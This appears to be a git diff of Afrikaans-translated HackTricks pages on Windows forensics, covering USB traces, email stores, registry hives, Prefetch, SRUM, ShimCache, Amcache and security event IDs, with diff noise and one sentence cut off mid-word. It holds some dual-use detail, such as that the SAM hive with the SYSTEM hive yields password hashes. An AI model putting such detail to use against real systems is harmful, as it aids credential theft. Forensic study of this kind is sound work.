(_Let daarop dat die tye wat deur JumplistExplorer verskaf word, verband hou met die springlys-lêer self_)
|
||||
|
||||
### Shellbags
|
||||
|
||||
[**Volg hierdie skakel om uit te vind wat die shellbags is.**](interesting-windows-registry-keys.md#shellbags)
|
||||
|
||||
## Gebruik van Windows USB's
|
||||
|
||||
Dit is moontlik om te identifiseer dat 'n USB-toestel gebruik is as gevolg van die skepping van:
|
||||
|
||||
* Windows Onlangse Gids
|
||||
* Microsoft Office Onlangse Gids
|
||||
* Springlyste
|
||||
|
||||
Let daarop dat sommige LNK-lêers in plaas van na die oorspronklike pad te verwys, na die WPDNSE-gids verwys:
|
||||
|
||||
![](<../../../.gitbook/assets/image (476).png>)
|
||||
|
||||
Die lêers in die WPDNSE-gids is 'n kopie van die oorspronklike lêers en sal dus nie oorleef na 'n herlaai van die rekenaar nie, en die GUID word geneem uit 'n shellbag.
|
||||
|
||||
### Registerinligting
|
||||
|
||||
[Kyk na hierdie bladsy om uit te vind](interesting-windows-registry-keys.md#usb-information) watter registerkodes interessante inligting oor USB-aangeslote toestelle bevat.
|
||||
|
||||
### setupapi
|
||||
|
||||
Kyk na die lêer `C:\Windows\inf\setupapi.dev.log` om die tye te kry wanneer die USB-aansluiting plaasgevind het (soek na `Section start`).
|
||||
|
||||
![](https://github.com/carlospolop/hacktricks/blob/af/.gitbook/assets/image%20\(477\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(3\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(14\).png)
|
||||
|
||||
### USB Detective
|
||||
|
||||
[**USBDetective**](https://usbdetective.com) kan gebruik word om inligting te verkry oor die USB-toestelle wat aan 'n beeld gekoppel was.
|
||||
|
||||
![](<../../../.gitbook/assets/image (483).png>)
|
||||
|
||||
### Inprop en Speel Skoonmaak
|
||||
|
||||
Die geskeduleerde taak wat bekend staan as 'Inprop en Speel Skoonmaak' is primêr ontwerp vir die verwydering van verouderde bestuurdersweergawes. In teenstelling met sy gespesifiseerde doelwit om die nuutste bestuurderspakketweergawe te behou, dui aanlynbronne daarop dat dit ook mik op bestuurders wat vir 30 dae onaktief was. Gevolglik kan bestuurders vir verwyderbare toestelle wat nie in die afgelope 30 dae aangesluit is nie, onderhewig wees aan uitwissing.
|
||||
|
||||
Die taak is geleë by die volgende pad: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
|
||||
'n Skermkiekie wat die inhoud van die taak uitbeeld, word voorsien: ![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
|
||||
|
||||
**Kernkomponente en instellings van die taak:**
|
||||
|
||||
* **pnpclean.dll**: Hierdie DLL is verantwoordelik vir die werklike skoonmaakproses.
|
||||
* **UseUnifiedSchedulingEngine**: Gestel op `TRUE`, wat dui op die gebruik van die generiese taakbeplanning-enjin.
|
||||
* **MaintenanceSettings**:
|
||||
* **Period ('P1M')**: Stuur die Taakbeplanner om die skoonmaaktaak maandeliks tydens gereelde outomatiese instandhouding te begin.
|
||||
* **Deadline ('P2M')**: Instrueer die Taakbeplanner, as die taak vir twee opeenvolgende maande misluk, om die taak tydens noodgevalle outomatiese instandhouding uit te voer.
|
||||
|
||||
Hierdie konfigurasie verseker gereelde instandhouding en skoonmaak van bestuurders, met voorsiening vir herpoging van die taak in geval van opeenvolgende mislukkings.
|
||||
|
||||
**Vir meer inligting, kyk na:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
|
||||
## E-posse
|
||||
|
||||
E-posse bevat **2 interessante dele: Die koppe en die inhoud** van die e-pos. In die **koppe** kan jy inligting soos vind:
|
||||
|
||||
* **Wie** het die e-posse gestuur (e-posadres, IP, posbedieners wat die e-pos omgelei het)
|
||||
* **Wanneer** is die e-posse gestuur
|
||||
|
||||
Binne die `References` en `In-Reply-To` koppe kan jy ook die ID van die boodskappe vind:
|
||||
|
||||
![](<../../../.gitbook/assets/image (484).png>)
|
||||
|
||||
### Windows-pos-app
|
||||
|
||||
Hierdie toepassing stoor e-posse in HTML- of teksformaat. Jy kan die e-posse binne subgidsies binne `\Users\<gebruikersnaam>\AppData\Local\Comms\Unistore\data\3\` vind. Die e-posse word met die `.dat`-uitbreiding gestoor.
|
||||
|
||||
Die **metadata** van die e-posse en die **kontakte** kan binne die **EDB-databasis** gevind word: `\Users\<gebruikersnaam>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
|
||||
**Verander die uitbreiding** van die lêer van `.vol` na `.edb` en jy kan die instrument [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) gebruik om dit oop te maak. Binne die `Message`-tabel kan jy die e-posse sien.
|
||||
|
||||
### Microsoft Outlook
|
||||
|
||||
Wanneer Exchange-bedieners of Outlook-kliënte gebruik word, sal daar sekere MAPI-koppe wees:
|
||||
|
||||
* `Mapi-Client-Submit-Time`: Tyd van die stelsel toe die e-pos gestuur is
|
||||
* `Mapi-Conversation-Index`: Aantal kinderboodskappe van die draad en tydstempel van elke boodskap van die draad
|
||||
* `Mapi-Entry-ID`: Boodskapidentifiseerder.
|
||||
* `Mappi-Message-Flags` en `Pr_last_Verb-Executed`: Inligting oor die MAPI-kliënt (boodskap gelees? nie gelees nie? geantwoord? omgelei? uit die kantoor?)
|
||||
|
||||
In die Microsoft Outlook-kliënt word al die gestuur/ontvang boodskappe, kontakte-inligting en kalenderinligting gestoor in 'n PST-lêer in:
|
||||
|
||||
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
|
||||
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
||||
|
||||
Die registerpad `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` dui die lêer aan wat gebruik word.
|
||||
|
||||
Jy kan die PST-lêer oopmaak met die instrument [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
|
||||
|
||||
![](<../../../.gitbook/assets/image (485).png>)
|
||||
|
||||
### Microsoft Outlook OST-lêers
|
||||
|
||||
'n **OST-lêer** word gegenereer deur Microsoft Outlook wanneer dit gekonfigureer is met 'n **IMAP** of 'n **Exchange**-bediener, wat soortgelyke inligting as 'n PST-lêer stoor. Hierdie lêer word gesinkroniseer met die bediener en behou data vir **die laaste 12 maande** tot 'n **maksimum grootte van 50GB**, en dit is geleë in dieselfde gids as die PST-lêer. Om 'n OST-lêer te sien, kan die [**Kernel OST-kieker**](https://www.nucleustechnologies.com/ost-viewer.html) gebruik word.
|
||||
|
||||
### Terugwinning van Aanhegsels
|
||||
|
||||
Verlore aanhegsels kan herwin word vanaf:
|
||||
|
||||
* Vir **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
* Vir **IE11 en hoër**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
|
||||
### Thunderbird MBOX-lêers
|
||||
|
||||
**Thunderbird** maak gebruik van **MBOX-lêers** om data te stoor, geleë by `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
|
||||
|
||||
### Beeld Duimnaels
|
||||
|
||||
* **Windows XP en 8-8.1**: Toegang tot 'n gids met duimnaels skep 'n `thumbs.db`-lêer wat beeldvoorbeelde stoor, selfs na uitvee.
|
||||
* **Windows 7/10**: `thumbs.db` word geskep wanneer dit oor 'n netwerk via 'n UNC-paad benader word.
|
||||
* **Windows Vista en nuwer**: Duimnaelvoorbeelde word gekentraliseer in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` met lêers genaamd **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) en [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) is hulpmiddels vir die sien van hierdie lêers.
|
||||
|
||||
### Windows Registerinligting
|
||||
|
||||
Die Windows-register, wat omvattende stelsel- en gebruikersaktiwiteitsdata stoor, word bevat binne lêers in:
|
||||
|
||||
* `%windir%\System32\Config` vir verskeie `HKEY_LOCAL_MACHINE` subleutels.
|
||||
* `%UserProfile%{User}\NTUSER.DAT` vir `HKEY_CURRENT_USER`.
|
||||
* Windows Vista en nuwer weergawe maak rugsteun van `HKEY_LOCAL_MACHINE` registerlêers in `%Windir%\System32\Config\RegBack\`.
|
||||
* Daarbenewens word programuitvoeringsinligting gestoor in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` vanaf Windows Vista en Windows 2008 Server voortgaan.
|
||||
|
||||
### Hulpmiddels
|
||||
|
||||
Sommige hulpmiddels is nuttig vir die analise van die registerlêers:
|
||||
|
||||
* **Registerredakteur**: Dit is geïnstalleer in Windows. Dit is 'n GUI om deur die Windows-register van die huidige sessie te blaai.
|
||||
* [**Registerverkenner**](https://ericzimmerman.github.io/#!index.md): Dit stel jou in staat om die registerlêer te laai en daardeur te blaai met 'n GUI. Dit bevat ook Bladmerke wat sleutels met interessante inligting uitlig.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Weereens, dit het 'n GUI wat toelaat om deur die gelaai register te blaai en bevat ook plugins wat interessante inligting binne die gelaai register uitlig.
|
||||
* [**Windows Registerherwinning**](https://www.mitec.cz/wrr.html): 'n Ander GUI-toepassing wat in staat is om die belangrike inligting uit die gelaai register te onttrek.
|
||||
|
||||
### Herstel van Verwyderde Element
|
||||
|
||||
Wanneer 'n sleutel verwyder word, word dit as sodanig gemerk, maar dit sal nie verwyder word totdat die spasie wat dit beset word benodig nie. Daarom is dit moontlik om hierdie verwyderde sleutels te herstel deur gebruik te maak van hulpmiddels soos **Registerverkenner**.
|
||||
|
||||
### Laaste Skryftyd
|
||||
|
||||
Elke Sleutel-Waarde bevat 'n **tydstempel** wat aandui wanneer dit laas gewysig is.
|
||||
|
||||
### SAM
|
||||
|
||||
Die lêer/hive **SAM** bevat die **gebruikers, groepe en gebruikerswagwoorde**-hasings van die stelsel.
|
||||
|
||||
In `SAM\Domains\Account\Users` kan jy die gebruikersnaam, die RID, laaste aanmelding, laaste mislukte aanmelding, aanmeldingteller, wagwoordbeleid en wanneer die rekening geskep is, verkry. Om die **hasings** te kry, het jy ook die lêer/hive **SYSTEM** **nodig**.
|
||||
|
||||
### Interessante inskrywings in die Windows-register
|
||||
|
||||
{% content-ref url="interesting-windows-registry-keys.md" %}
|
||||
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Uitgevoerde Programme
|
||||
|
||||
### Basiese Windows-prosesse
|
||||
|
||||
In [hierdie berig](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) kan jy leer oor die algemene Windows-prosesse om verdagte gedrag te identifiseer.
|
||||
|
||||
### Windows Onlangse Programme
|
||||
|
||||
Binne die register `NTUSER.DAT` in die pad `Software\Microsoft\Current Version\Search\RecentApps` kan jy subleutels kry met inligting oor die **uitgevoerde toepassing**, **laaste keer** wat dit uitgevoer is, en **aantal kere** wat dit geloods is.
|
||||
|
||||
### BAM (Background Activity Moderator)
|
||||
|
||||
Jy kan die `SYSTEM`-lêer oopmaak met 'n registerredakteur en binne die pad `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` kan jy die inligting oor die **toepassings wat deur elke gebruiker uitgevoer is** vind (merk die `{SID}` in die pad) en **watter tyd** hulle uitgevoer is (die tyd is binne die Data-waarde van die register).
|
||||
|
||||
### Windows Prefetch
|
||||
|
||||
Prefetching is 'n tegniek wat 'n rekenaar in staat stel om stilweg die nodige hulpbronne op te haal wat nodig is om inhoud te vertoon wat 'n gebruiker **moontlik binnekort sal toegang** sodat hulpbronne vinniger toeganklik kan wees.
|
||||
|
||||
Windows prefetch bestaan uit die skep van **kasgeheues van die uitgevoerde programme** om hulle vinniger te kan laai. Hierdie kasgeheues word geskep as `.pf`-lêers binne die pad: `C:\Windows\Prefetch`. Daar is 'n limiet van 128 lêers in XP/VISTA/WIN7 en 1024 lêers in Win8/Win10.
|
||||
|
||||
Die lêernaam word geskep as `{program_naam}-{hash}.pf` (die hash is gebaseer op die pad en argumente van die uitvoerbare lêer). In W10 is hierdie lêers saamgedruk. Let daarop dat die blootwesigheid van die lêer aandui dat **die program op 'n stadium uitgevoer is**.
|
||||
|
||||
Die lêer `C:\Windows\Prefetch\Layout.ini` bevat die **name van die gids van die lêers wat geprefetch word**. Hierdie lêer bevat **inligting oor die aantal uitvoerings**, **datums** van die uitvoering en **lêers** **wat oop** is deur die program.
|
||||
|
||||
Om hierdie lêers te ondersoek, kan jy die hulpmiddel [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) gebruik:
|
||||
|
||||
```bash
|
||||
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||
```
|
||||
|
||||
![](<../../../.gitbook/assets/image (487).png>)
|
||||
|
||||
### Superprefetch
|
||||
|
||||
**Superprefetch** het dieselfde doel as prefetch, **laai programme vinniger** deur te voorspel wat die volgende gelaaide item sal wees. Dit vervang egter nie die prefetch-diens nie.\
|
||||
Hierdie diens sal databasislêers genereer in `C:\Windows\Prefetch\Ag*.db`.
|
||||
|
||||
In hierdie databasisse kan jy die **naam** van die **program**, **aantal** **uitvoerings**, **geopen** **lêers**, **toegang tot** **volume**, **volledige** **pad**, **tydperke** en **tydstempels** vind.
|
||||
|
||||
Jy kan hierdie inligting kry deur die hulpmiddel [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) te gebruik.
|
||||
|
||||
### SRUM
|
||||
|
||||
**System Resource Usage Monitor** (SRUM) **monitor** die **hulpbronne** **verbruik** **deur 'n proses**. Dit het in W8 verskyn en stoor die data in 'n ESE-databasis wat in `C:\Windows\System32\sru\SRUDB.dat` geleë is.
|
||||
|
||||
Dit gee die volgende inligting:
|
||||
|
||||
* AppID en Pad
|
||||
* Gebruiker wat die proses uitgevoer het
|
||||
* Gestuurde bytes
|
||||
* Ontvangsbytes
|
||||
* Netwerkinterface
|
||||
* Verbindingsduur
|
||||
* Prosesduur
|
||||
|
||||
Hierdie inligting word elke 60 minute opgedateer.
|
||||
|
||||
Jy kan die datum uit hierdie lêer kry deur die hulpmiddel [**srum\_dump**](https://github.com/MarkBaggett/srum-dump) te gebruik.
|
||||
|
||||
```bash
|
||||
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
|
||||
```
|
||||
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
Die **AppCompatCache**, ook bekend as **ShimCache**, vorm deel van die **Application Compatibility Database** wat deur **Microsoft** ontwikkel is om programverenigbaarheidsprobleme aan te spreek. Hierdie stelselkomponent neem verskeie stukke lêermetadata op, wat insluit:
|
||||
|
||||
* Volledige pad van die lêer
|
||||
* Grootte van die lêer
|
||||
* Laaste gewysigde tyd onder **$Standard\_Information** (SI)
|
||||
* Laaste opgedateerde tyd van die ShimCache
|
||||
* Prosesuitvoeringsvlag
|
||||
|
||||
Sodanige data word binne die register gestoor op spesifieke plekke gebaseer op die weergawe van die bedryfstelsel:
|
||||
|
||||
* Vir XP word die data gestoor onder `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` met 'n kapasiteit vir 96 inskrywings.
|
||||
* Vir Server 2003, sowel as vir Windows-weergawes 2008, 2012, 2016, 7, 8 en 10, is die bergpad `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, wat onderskeidelik 512 en 1024 inskrywings akkommodeer.
|
||||
|
||||
Om die gestoorde inligting te ontleden, word die [**AppCompatCacheParser**-hulpmiddel](https://github.com/EricZimmerman/AppCompatCacheParser) aanbeveel vir gebruik.
|
||||
|
||||
![](<../../../.gitbook/assets/image (488).png>)
|
||||
|
||||
### Amcache
|
||||
|
||||
Die **Amcache.hve**-lêer is in wese 'n registerhys wat besonderhede oor toepassings wat op 'n stelsel uitgevoer is, registreer. Dit word tipies gevind by `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
|
||||
Hierdie lêer is merkwaardig omdat dit rekords van onlangs uitgevoerde prosesse stoor, insluitend die paaie na die uitvoerbare lêers en hul SHA1-hashes. Hierdie inligting is van onschatbare waarde vir die opspoor van die aktiwiteit van toepassings op 'n stelsel.
|
||||
|
||||
Om die data uit **Amcache.hve** te onttrek en te analiseer, kan die [**AmcacheParser**-hulpmiddel](https://github.com/EricZimmerman/AmcacheParser) gebruik word. Die volgende opdrag is 'n voorbeeld van hoe om AmcacheParser te gebruik om die inhoud van die **Amcache.hve**-lêer te ontleden en die resultate in CSV-formaat uit te voer:
|
||||
|
||||
```bash
|
||||
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||
```
|
||||
|
||||
Onder die gegenereerde CSV-lêers is die `Amcache_Unassociated file entries` veral merkwaardig vanweë die ryk inligting wat dit verskaf oor nie-geassosieerde lêerinvoere.
|
||||
|
||||
Die mees interessante CVS-lêer wat gegenereer word, is die `Amcache_Unassociated file entries`.
|
||||
|
||||
### RecentFileCache
|
||||
|
||||
Hierdie artefak kan slegs in W7 gevind word in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` en dit bevat inligting oor die onlangse uitvoering van sekere bineêre lêers.
|
||||
|
||||
Jy kan die instrument [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) gebruik om die lêer te ontled.
|
||||
|
||||
### Geskeduleerde take
|
||||
|
||||
Jy kan hulle onttrek uit `C:\Windows\Tasks` of `C:\Windows\System32\Tasks` en as XML lees.
|
||||
|
||||
### Dienste
|
||||
|
||||
Jy kan hulle in die register vind onder `SYSTEM\ControlSet001\Services`. Jy kan sien wat uitgevoer gaan word en wanneer.
|
||||
|
||||
### **Windows Store**
|
||||
|
||||
Die geïnstalleerde programme kan gevind word in `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||
Hierdie bewaarplek het 'n **log** met **elke geïnstalleerde toepassing** in die stelsel binne die databasis **`StateRepository-Machine.srd`**.
|
||||
|
||||
Binne die Toepassingstabel van hierdie databasis is dit moontlik om die kolomme te vind: "Toepassings-ID", "Pakketnommer" en "Vertoonnaam". Hierdie kolomme bevat inligting oor vooraf geïnstalleerde en geïnstalleerde toepassings en dit kan gevind word of sommige toepassings gedeïnstalleer is omdat die ID's van geïnstalleerde toepassings opeenvolgend moet wees.
|
||||
|
||||
Dit is ook moontlik om **geïnstalleerde toepassing** te vind binne die registerpad: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
En **gedeïnstalleerde** **toepassings** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||
|
||||
## Windows-gebeure
|
||||
|
||||
Inligting wat binne Windows-gebeure verskyn, is:
|
||||
|
||||
* Wat gebeur het
|
||||
* Tydstempel (UTC + 0)
|
||||
* Betrokke gebruikers
|
||||
* Betrokke gasheer (gasheernaam, IP)
|
||||
* Betrokke bates (lêers, vouer, drukkers, dienste)
|
||||
|
||||
Die loglêers is geleë in `C:\Windows\System32\config` voor Windows Vista en in `C:\Windows\System32\winevt\Logs` na Windows Vista. Voor Windows Vista was die gebeurtenisloglêers in binêre formaat en daarna is dit in **XML-formaat** en gebruik die **.evtx**-uitbreiding.
|
||||
|
||||
Die ligging van die gebeurtenislêers kan gevind word in die SISTEEM-register in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||
|
||||
Dit kan gesien word vanuit die Windows-gebeurtenisleser (**`eventvwr.msc`**) of met ander instrumente soos [**Event Log Explorer**](https://eventlogxp.com) **of** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||
|
||||
## Begrip van Windows-sekuriteitsgebeure
|
||||
|
||||
Toegangsgebeure word aangeteken in die sekuriteitskonfigurasie-lêer wat geleë is by `C:\Windows\System32\winevt\Security.evtx`. Hierdie lêer se grootte is aanpasbaar, en wanneer sy kapasiteit bereik is, word ouer gebeure oorskryf. Aangetekende gebeure sluit gebruikersaanmeldings en -afmeldings, gebruikersaksies en veranderinge aan sekuriteitsinstellings in, sowel as toegang tot lêers, vouers en gedeelde bates.
|
||||
|
||||
### Sleutel-gebeurtenis-ID's vir gebruikersverifikasie:
|
||||
|
||||
* **Gebeurtenis-ID 4624**: Dui aan dat 'n gebruiker suksesvol geverifieer is.
|
||||
* **Gebeurtenis-ID 4625**: Dui op 'n mislukte verifikasie.
|
||||
* **Gebeurtenis-ID's 4634/4647**: Verteenwoordig gebruikersafmeldingsgebeure.
|
||||
* **Gebeurtenis-ID 4672**: Dui op aanmelding met administratiewe voorregte.
|
||||
|
||||
#### Subtipes binne Gebeurtenis-ID 4634/4647:
|
||||
|
||||
* **Interaktief (2)**: Direkte gebruikersaanmelding.
|
||||
* **Netwerk (3)**: Toegang tot gedeelde vouers.
|
||||
* **Batch (4)**: Uitvoering van lotprosesse.
|
||||
* **Diens (5)**: Dienslansering.
|
||||
* **Proxy (6)**: Proxy-verifikasie.
|
||||
* **Ontsluit (7)**: Skerm ontgrendel met 'n wagwoord.
|
||||
* **Netwerkduidelike teks (8)**: Duidelike teks wagwoordoordrag, dikwels vanaf IIS.
|
||||
* **Nuwe legitimasie (9)**: Gebruik van verskillende legitimasie vir toegang.
|
||||
* **Verwyderde interaktief (10)**: Verwyderde skerm of terminaaldiensaanmelding.
|
||||
* **Verwyderde interaktiewe opgesluit (11)**: Aanmelding met opgeslote legitimasie sonder kontak met 'n domeinbeheerder.
|
||||
* **Verwyderde ontgrendeling (12)**: Verwyderde aanmelding met opgeslote legitimasie.
|
||||
* **Opgeslote ontgrendeling (13)**: Ontsluiting met opgeslote legitimasie.
|
||||
|
||||
#### Status- en Substatuskodes vir Gebeurtenis-ID 4625:
|
||||
|
||||
* **0xC0000064**: Gebruikersnaam bestaan nie - Kan dui op 'n aanval van gebruikersnaamopname.
|
||||
* **0xC000006A**: Korrekte gebruikersnaam, maar verkeerde wagwoord - Moontlike wagwoord raai of brute force-poging.
|
||||
* **0xC0000234**: Gebruikersrekening gesluit - Kan volg op 'n brute force-aanval met verskeie mislukte aanmeldings.
|
||||
* **0xC0000072**: Rekening gedeaktiveer - Onbevoegde pogings om gedeaktiveerde rekeninge te benader.
|
||||
* **0xC000006F**: Aanmelding buite toegelate tyd - Dui op pogings om buite die vasgestelde aanmeldingstye toegang te verkry, 'n moontlike teken van onbevoegde toegang.
|
||||
* **0xC0000070**: Oortreding van werksplekbeperkings - Kan 'n poging wees om vanaf 'n onbevoegde plek aan te meld.
|
||||
* **0xC0000193**: Rekening verval - Toegangspogings met vervalde gebruikersrekeninge.
|
||||
* **0xC0000071**: Vervalde wagwoord - Aanmeldingspogings met verouderde wagwoorde.
|
||||
* **0xC0000133**: Tydsinkronisasieprobleme - Groot tydverskille tussen kliënt en bediener kan dui op meer gesofistikeerde aanvalle soos pass-the-ticket.
|
||||
* **0xC0000224**: Verpligte wagwoordverandering vereis - Gereelde verpligte veranderinge kan dui op 'n poging om rekeningsekuriteit te destabiliseer.
|
||||
* **0xC0000225**: Dui op 'n stelselfout eerder as 'n sekuriteitsprobleem.
|
||||
* **0xC000015b**: Geweierde aanmeldingstipe - Toegangspoging met onbevoegde aanmeldingstipe, soos 'n gebruiker wat probeer om 'n diensaanmelding uit te voer.
|
||||
|
||||
#### Gebeurtenis-ID 4616:
|
||||
|
||||
* **Tydverandering**: Wysiging van die stelseltyd, kan die tydlyn van gebeure verwar.
|
||||
|
||||
#### Gebeurtenis-ID's 6005 en 6006:
|
||||
|
||||
* **Stelselbegin en -afsluiting**: Gebeurtenis-ID 6005 dui op die begin van die stelsel, terwyl Gebeurtenis-ID 6006 dit aandui wanneer dit afsluit.
|
||||
|
||||
#### Gebeurtenis-ID 1102:
|
||||
|
||||
* **Logwissing**: Sekuriteitslêers wat skoongevee word, wat dikwels 'n rooi vlag is vir die bedek van onwettige aktiwiteite.
|
||||
|
||||
#### Gebeurtenis-ID's vir USB-toestelopsporing:
|
||||
|
||||
* **20001 / 20003 / 10000**: Eerste koppeling van USB-toestel.
|
||||
* **10100**: USB-bestuursprogramopdatering.
|
||||
* **Gebeurtenis-ID 112**: Tyd van USB-toestelinvoeging.
|
||||
|
||||
Vir praktiese voorbeelde van die simulasie van hierdie aanmeldingstipes en geleenthede vir legitimasie-onttrekking, verwys na [Altered Security se gedetailleerde gids](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
|
||||
|
||||
Gebeurtenisbesonderhede, insluitend status- en substatuskodes, bied verdere insig in die oorsake van gebeure, ver
|
||||
|
||||
#### Stelselkraggebeure
|
||||
|
||||
EventID 6005 dui op stelselbegin, terwyl EventID 6006 afsluiting aandui.
|
||||
|
||||
#### Logverwydering
|
||||
|
||||
Veiligheid EventID 1102 dui op die verwydering van logboeke, 'n kritieke gebeurtenis vir forensiese analise.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,87 @@
|
|||
# Interessante Windows-registernøkke
|
||||
|
||||
### Interessante Windows-registernøkke
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
### **Windows-weergawe en eienaarinligting**
|
||||
- Onder **`Software\Microsoft\Windows NT\CurrentVersion`** sal jy die Windows-weergawe, dienspakket, installasie-tyd en die geregistreerde eienaar se naam op 'n maklike manier vind.
|
||||
|
||||
### **Rekenaarnaam**
|
||||
- Die rekenaarnaam word gevind onder **`System\ControlSet001\Control\ComputerName\ComputerName`**.
|
||||
|
||||
### **Tydsone-instelling**
|
||||
- Die stelsel se tydsone word gestoor in **`System\ControlSet001\Control\TimeZoneInformation`**.
|
||||
|
||||
### **Toegangstydopsporing**
|
||||
- Standaard is die laaste toegangstydopsporing afgeskakel (**`NtfsDisableLastAccessUpdate=1`**). Om dit in te skakel, gebruik:
|
||||
`fsutil behavior set disablelastaccess 0`
|
||||
|
||||
### Windows-weergawes en dienspakette
|
||||
- Die **Windows-weergawe** dui die uitgawe aan (bv. Home, Pro) en sy vrystelling (bv. Windows 10, Windows 11), terwyl **dienspakette** opdaterings is wat herstelwerk en soms nuwe funksies insluit.
|
||||
|
||||
### Aktivering van laaste toegangstyd
|
||||
- Die aktivering van laaste toegangstydopsporing stel jou in staat om te sien wanneer lêers laas geopen is, wat krities kan wees vir forensiese analise of stelselmonitering.
|
||||
|
||||
### Netwerkinligtingbesonderhede
|
||||
